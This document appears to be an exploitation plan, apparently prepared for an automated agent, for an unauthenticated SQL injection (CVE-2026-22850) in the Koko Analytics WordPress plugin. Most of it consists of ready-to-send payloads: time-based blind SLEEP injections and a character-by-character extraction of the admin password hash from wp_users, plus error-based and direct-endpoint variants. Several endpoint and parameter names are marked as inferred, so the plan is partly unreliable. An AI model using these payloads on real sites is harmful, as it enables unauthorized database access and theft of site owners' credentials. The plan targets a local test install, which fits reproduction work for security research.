Koko Analytics <= 2.1.2 - Unauthenticated SQL Injection

This research plan targets CVE-2026-22850, an unauthenticated SQL injection vulnerability in the Koko Analytics plugin (<= 2.1.2).

1. Vulnerability Summary

The Koko Analytics plugin fails to properly sanitize or prepare SQL queries when processing tracking data sent from the frontend. Specifically, parameters representing the page being tracked (such as a post slug or path) are concatenated into a database query without using $wpdb->prepare(). Because the tracking endpoint is designed for anonymous visitors, this allows an unauthenticated attacker to inject arbitrary SQL commands.

2. Attack Vector Analysis

• Endpoint: admin-ajax.php or a direct request to a collection script.
• Action: koko_analytics_collect_stats (inferred).
• Vulnerable Parameter: path or slug (inferred).
• Authentication: None required (Unauthenticated).
• Preconditions: The plugin must be active. By default, it tracks all front-end page visits.

3. Code Flow (Inferred)

1. Entry Point: An unauthenticated POST request is sent to wp-admin/admin-ajax.php with action=koko_analytics_collect_stats.
2. Hook Registration: The plugin registers add_action( 'wp_ajax_nopriv_koko_analytics_collect_stats', ... ).
3. Data Extraction: The handler (e.g., KokoAnalytics\Collector::collect()) extracts the path or slug from $_POST.
4. SQL Sink: The extracted value is used in a query (e.g., SELECT ... WHERE slug = '$slug') without $wpdb->prepare() or esc_sql().

4. Nonce Acquisition Strategy

Analytics plugins often do not require a standard WordPress nonce for tracking requests to avoid caching issues and to support anonymous users. However, if a nonce is enforced:

1. Identify Shortcode: Koko Analytics doesn't typically use a shortcode; it enqueues a script on every page.
2. Navigation: Use browser_navigate to the homepage of the WordPress site.
3. Extraction: The plugin likely localizes a variable.
   • Use browser_eval("window.koko_analytics?.nonce") (inferred name).
   • Check for other keys like koko_analytics_config.
4. Action String: If a nonce exists, it is likely tied to the action koko_analytics_collect_stats.

Note: If the plugin uses a standalone collect.php file (common in analytics for performance), nonces are typically bypassed entirely.

5. Exploitation Strategy

We will use a Time-Based Blind SQL Injection to confirm the vulnerability and extract data, as tracking endpoints usually return empty or generic responses.

Step 1: Confirm Vulnerability (Time-Based Sleep)

• Tool: http_request
• Method: POST
• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Body (URL-encoded):

  action=koko_analytics_collect_stats&path=test-page' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -
  

• Expected Result: The response should be delayed by ~5 seconds.

Step 2: Extract Admin Password Hash

• Payload (in path parameter):

  test-page' AND IF(ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1))=36,SLEEP(5),0)-- -
  

  (Note: 36 is the ASCII for '$', the start of a phpass/bcrypt hash).

6. Test Data Setup

1. Install Plugin: Ensure Koko Analytics v2.1.2 is installed and active.
2. Create Content: Create at least one published post/page so the analytics engine has valid context to interact with.
   • wp post create --post_type=page --post_title="Home" --post_status=publish
3. Settings: Ensure "Track Page Views" is enabled (default).

7. Expected Results

• An unauthenticated request containing a SLEEP() payload will result in a measurable delay in the server response.
• The same request with a false boolean condition (e.g., AND 1=2) will return immediately.
• Successful extraction of the wp_users table data through iterative time-based testing.

8. Verification Steps

After the http_request exploit confirms the time delay:

1. Verify DB State: Use wp db query "SELECT user_pass FROM wp_users WHERE ID=1" to get the actual hash.
2. Compare: Match the first few characters extracted via SQLi with the hash from the CLI to confirm accuracy.

9. Alternative Approaches

• Error-Based: If WP_DEBUG is enabled, try injecting AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users LIMIT 1),0x7e),1).
• Direct Endpoint: Check if the plugin uses a direct file at wp-content/plugins/koko-analytics/collect.php. If it does, the request would look like:
  • POST /wp-content/plugins/koko-analytics/collect.php
  • Parameters: path=[payload]
• Boolean-Based: Observe if the response 0 changes to 1 or if the HTTP status code changes when the injected query is true vs. false.